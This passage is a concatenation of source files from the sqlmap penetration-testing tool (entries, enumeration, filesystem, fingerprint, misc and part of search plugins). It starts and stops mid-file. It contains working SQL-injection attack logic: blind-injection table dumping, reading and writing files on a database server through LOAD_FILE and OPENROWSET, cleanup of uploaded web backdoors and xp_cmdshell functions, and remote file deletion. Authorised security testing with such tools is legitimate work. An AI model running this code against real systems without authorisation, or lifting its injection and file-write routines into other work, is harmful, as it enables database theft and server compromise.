database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" logger.warning(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warning(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) if conf.db else tbl elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if conf.db else tbl if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: for column in colList: query = rootQuery.blind.query3 % (column, column, table, index) query = agent.whereQuery(query) value = inject.getValue(query, union=False, error=False, dump=True) or "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) for column in colList: if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) elif Backend.isDbms(DBMS.FRONTBASE): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) else: query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warning(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warning(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} if not conf.disableHashing: try: attackDumpedTable() except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpColumns = None kb.dumpTable = None def dumpAll(self): if conf.db is not None and conf.tbl is None: self.dumpTable() return if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "sqlmap will dump entries of all tables from all databases now" logger.info(infoMsg) conf.tbl = None conf.col = None self.getTables() if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): kb.data.cachedTables = {None: kb.data.cachedTables} for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: if conf.exclude and re.search(conf.exclude, table, re.I) is not None: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) continue try: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} self.dumpTable() except SqlmapNoneDataException: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) def dumpFoundColumn(self, dbs, foundCols, colConsider): message = "do you want to dump found column(s) entries? [Y/n] " if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tblData in dbs.items(): if tblData: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" choice = readInput(message, default='a') if not choice or choice in ('a', 'A'): dumpFromDbs = list(dbs.keys()) elif choice in ('q', 'Q'): return else: dumpFromDbs = choice.replace(" ", "").split(',') for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tblData: message += "[%s]\n" % tbl message += "[s]kip\n" message += "[q]uit" choice = readInput(message, default='a') if not choice or choice in ('a', 'A'): dumpFromTbls = tblData elif choice in ('s', 'S'): continue elif choice in ('q', 'Q'): return else: dumpFromTbls = choice.replace(" ", "").split(',') for table, columns in tblData.items(): if table not in dumpFromTbls: continue conf.tbl = table colList = [_ for _ in columns if _] if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] conf.col = ','.join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable(dbs) if data: conf.dumper.dbTableValues(data) def dumpFoundTables(self, tables): message = "do you want to dump found table(s) entries? [Y/n] " if not readInput(message, default='Y', boolean=True): return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tablesList in tables.items(): if tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" choice = readInput(message, default='a') if not choice or choice.lower() == 'a': dumpFromDbs = list(tables.keys()) elif choice.lower() == 'q': return else: dumpFromDbs = choice.replace(" ", "").split(',') for db, tablesList in tables.items(): if db not in dumpFromDbs or not tablesList: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl) message += "[s]kip\n" message += "[q]uit" choice = readInput(message, default='a') if not choice or choice.lower() == 'a': dumpFromTbls = tablesList elif choice.lower() == 's': continue elif choice.lower() == 'q': return else: dumpFromTbls = choice.replace(" ", "").split(',') for table in dumpFromTbls: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable() if data: conf.dumper.dbTableValues(data) ================================================ FILE: plugins/generic/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.session import setOs from lib.parse.banner import bannerParser from lib.request import inject from plugins.generic.custom import Custom from plugins.generic.databases import Databases from plugins.generic.entries import Entries from plugins.generic.search import Search from plugins.generic.users import Users class Enumeration(Custom, Databases, Entries, Search, Users): """ This class defines generic enumeration functionalities for plugins. """ def __init__(self): kb.data.has_information_schema = False kb.data.banner = None kb.data.hostname = "" kb.data.processChar = None Custom.__init__(self) Databases.__init__(self) Entries.__init__(self) Search.__init__(self) Users.__init__(self) def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) if Backend.isDbms(DBMS.DB2): rootQuery = queries[DBMS.DB2].banner for query in (rootQuery.query, rootQuery.query2): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if kb.data.banner: break else: query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) bannerParser(kb.data.banner) if conf.os and conf.os == "windows": kb.bannerFp["type"] = set(["Windows"]) elif conf.os and conf.os == "linux": kb.bannerFp["type"] = set(["Linux"]) elif conf.os: kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])]) if conf.os: setOs() return kb.data.banner def getHostname(self): infoMsg = "fetching server hostname" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].hostname.query if not kb.data.hostname: kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) return kb.data.hostname ================================================ FILE: plugins/generic/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import os import sys from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToOutFile from lib.core.common import decloakToTemp from lib.core.common import decodeDbmsHexValue from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNullValue from lib.core.common import isNumPosStrValue from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.compat import xrange from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod from lib.core.settings import UNICODE_ENCODING from lib.request import inject class Filesystem(object): """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): self.fileTblName = "%sfile" % conf.tablePrefix self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile logger.warning(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file '%s'" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = int(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file '%s' and the remote file " % localFile infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) else: infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" logger.warning(warnMsg) return sameFile def fileToSqlQueries(self, fcEncodedList): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ counter = 0 sqlQueries = [] for fcEncodedLine in fcEncodedList: if counter == 0: sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) else: updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine) sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) counter += 1 return sqlQueries def fileEncode(self, fileName, encoding, single, chunkSize=256): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ checkFile(fileName) with open(fileName, "rb") as f: content = f.read() return self.fileContentEncode(content, encoding, single, chunkSize) def fileContentEncode(self, content, encoding, single, chunkSize=256): retVal = [] if encoding == "hex": content = encodeHex(content) elif encoding == "base64": content = encodeBase64(content) else: content = codecs.encode(content, encoding) content = getText(content).replace("\n", "") if not single: if len(content) > chunkSize: for i in xrange(0, len(content), chunkSize): _ = content[i:i + chunkSize] if encoding == "hex": _ = "0x%s" % _ elif encoding == "base64": _ = "'%s'" % _ retVal.append(_) if not retVal: if encoding == "hex": content = "0x%s" % content elif encoding == "base64": content = "'%s'" % content retVal = [content] return retVal def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): choice = None if forceCheck is not True: message = "do you want confirmation that the local file '%s' " % localFile message += "has been successfully written on the back-end DBMS " message += "file system ('%s')? [Y/n] " % remoteFile choice = readInput(message, default='Y', boolean=True) if forceCheck or choice: return self._checkFileLength(localFile, remoteFile) return True def askCheckReadFile(self, localFile, remoteFile): if not kb.bruteMode: message = "do you want confirmation that the remote file '%s' " % remoteFile message += "has been successfully downloaded from the back-end " message += "DBMS file system? [Y/n] " if readInput(message, default='Y', boolean=True): return self._checkFileLength(localFile, remoteFile, True) return None def nonStackedReadFile(self, remoteFile): errMsg = "'nonStackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def stackedReadFile(self, remoteFile): errMsg = "'stackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'unionWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def readFile(self, remoteFile): localFilePaths = [] self.checkDbmsOs() for remoteFile in remoteFile.split(','): fileContent = None kb.fileReadMode = True if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to try to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) fileContent = self.nonStackedReadFile(remoteFile) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to read files from the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) fileContent = None kb.fileReadMode = False if (isNoneValue(fileContent) or isNullValue(fileContent)) and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) fileContent = None elif isListLike(fileContent): newFileContent = "" for chunk in fileContent: if isListLike(chunk): if len(chunk) > 0: chunk = chunk[0] else: chunk = "" if chunk: newFileContent += chunk fileContent = newFileContent if fileContent is not None: fileContent = decodeDbmsHexValue(fileContent, True) if fileContent.strip(): localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) sameFile = self.askCheckReadFile(localFilePath, remoteFile) if sameFile is True: localFilePath += " (same file)" elif sameFile is False: localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) elif not kb.bruteMode: errMsg = "no data retrieved" logger.error(errMsg) return localFilePaths def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): written = False checkFile(localFile) self.checkDbmsOs() if localFile.endswith('_'): localFile = getUnicode(decloakToTemp(localFile)) if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the file '%s' with " % fileType debugMsg += "stacked query technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the file '%s' with " % fileType debugMsg += "UNION query technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the file '%s' with " % fileType debugMsg += "LINES TERMINATED BY technique" logger.debug(debugMsg) written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) return None return written ================================================ FILE: plugins/generic/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import readInput from lib.core.data import logger from lib.core.enums import OS from lib.core.exception import SqlmapUndefinedMethod class Fingerprint(object): """ This class defines generic fingerprint functionalities for plugins. """ def __init__(self, dbms): Backend.forceDbms(dbms) def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbms(self): errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbmsOs(self, detailed=False): errMsg = "'checkDbmsOs' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def forceDbmsEnum(self): pass def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" logger.warning(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" while True: os = readInput(msg, default='W').upper() if os == 'W': Backend.setOs(OS.WINDOWS) break elif os == 'L': Backend.setOs(OS.LINUX) break else: warnMsg = "invalid value" logger.warning(warnMsg) ================================================ FILE: plugins/generic/misc.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import ntpath import re from lib.core.common import Backend from lib.core.common import hashDBWrite from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import posixToNtSlashes from lib.core.common import readInput from lib.core.common import singleTimeDebugMessage from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.exception import SqlmapNoneDataException from lib.request import inject class Miscellaneous(object): """ This class defines miscellaneous functionalities for plugins. """ def __init__(self): pass def getRemoteTempPath(self): if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): debugMsg = "identifying Microsoft SQL Server error log directory " debugMsg += "that sqlmap will use to store temporary files with " debugMsg += "commands' output" logger.debug(debugMsg) _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) if _: conf.tmpPath = ntpath.dirname(_) if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].banner.query if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) or "" match = re.search(r"\d[\d.-]*", kb.bannerFp["dbmsVersion"]) if match: kb.bannerFp["dbmsVersion"] = match.group(0) def delRemoteFile(self, filename): if not filename: return self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): filename = posixToNtSlashes(filename) cmd = "del /F /Q %s" % filename else: cmd = "rm -f %s" % filename self.execCmd(cmd, silent=True) def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName, silent=True) if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName: inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType)) else: inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ Cleanup file system and database from sqlmap create files, tables and functions """ if web and self.webBackdoorFilePath: logger.info("cleaning up the web files uploaded") self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) if (not isStackingAvailable() or kb.udfFail) and not conf.direct: return if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): udfDict = {"master..new_xp_cmdshell": {}} if udfDict is None: udfDict = getattr(self, "sysUdfs", {}) for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf if readInput(message, default='Y', boolean=True): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warning(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what message += "[1] as LIKE %s names (default)\n" % what message += "[2] as exact %s names" % what choice = readInput(message, default='1') if not choice or choice == '1': choice = '1' condParam = " LIKE '%%%s%%'" elif choice == '2': condParam = "='%s'" else: errMsg = "invalid value" raise SqlmapNoneDataException(errMsg) return choice, condParam ================================================ FILE: plugins/generic/search.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.brute import columnExists from lib.utils.brute import tableExists from thirdparty import six class Search(object): """ This class defines search functionalities for plugins. """ def __init__(self): pass def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db dbList = conf.db.split(',') if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition dbConsider, dbCondParam = self.likeOrExact("database") for db in dbList: values = [] db = safeSQLIdentificatorNaming(db) if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() infoMsg = "searching database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query query = query % (dbQuery + exclDbsQuery) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = arrayizeValue(values) for value in values: value = safeSQLIdentificatorNaming(value) foundDbs.append(value) if not values and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count query = query % (dbQuery + exclDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no database" if dbConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) logger.warning(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query query = query % (dbQuery + exclDbsQuery) query = agent.limitQuery(index, query, dbCond) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) value = safeSQLIdentificatorNaming(value) foundDbs.append(value) conf.dumper.lister("found databases", foundDbs) def searchTable(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 